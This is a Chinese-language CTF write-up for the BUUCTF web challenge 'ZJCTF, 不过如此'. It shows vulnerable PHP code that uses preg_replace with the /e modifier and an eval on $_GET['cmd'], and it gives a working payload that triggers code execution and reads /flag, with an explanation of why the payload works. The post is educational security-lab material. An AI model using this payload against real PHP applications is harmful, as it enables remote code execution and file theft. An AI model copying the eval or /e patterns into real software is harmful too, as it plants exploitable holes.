BUUCTF-web ZJCTF,不过如此

 

很明显要利用伪协议读next.php

 

 

 base64解码后查看源码

 1 <?php
 2 $id = $_GET['id'];
 3 $_SESSION['id'] = $id;
 4 
 5 function complex($re, $str) {
 6     return preg_replace(
 7         '/(' . $re . ')/ei',
 8         'strtolower("\\1")',
 9         $str
10     );
11 }
12 
13 
14 foreach($_GET as $re => $str) {
15     echo complex($re, $str). "\n";
16 }
17 
18 function getFlag(){
19     @eval($_GET['cmd']);
20 }

可以看到。preg_replace函数加了/e。/e 修正符使 preg_replace() 将 replacement 参数(preg_replace 函数的第二个参数)当作 PHP 代码,导致命令执行。本题需要想办法调用getFlag()命令执行获取flag

\1 是一种后向引用,表示表达式中,从左往右数,第一个左括号对应的括号内的内容。
以此类推,\2表示第二个,\0表示整个表达式。在本题中对应着get的参数id。

payload:\S*=${getflag()}&cmd=readfile("/flag");

 

为什么用"\S*"做变量名 ? 

"\S"在正则中表示所有非空白字符,"\S*"相当于匹配所有非空白字符串。这样就能匹配到getFlag(),结合前面的\1,使我们能够控制preg_replace的第二个参数

 

为什么要用${getflag()}?

因为正则之后getflag()就是字符串,是不会被执行的。不加${}第二参数'strtolower("\\1")'等价于'getflag()'。被解析成字符串。所以加上${}使getflag()先被执行。

之后再用readfile读flag

 

可参考:https://www.jb51.net/article/38714.htm

7.0.0版本之后不再支持 /e修饰符。 需要用 preg_replace_callback() 代替。

posted @ 2020-05-30 17:19  remon535  阅读(387)  评论(0编辑  收藏  举报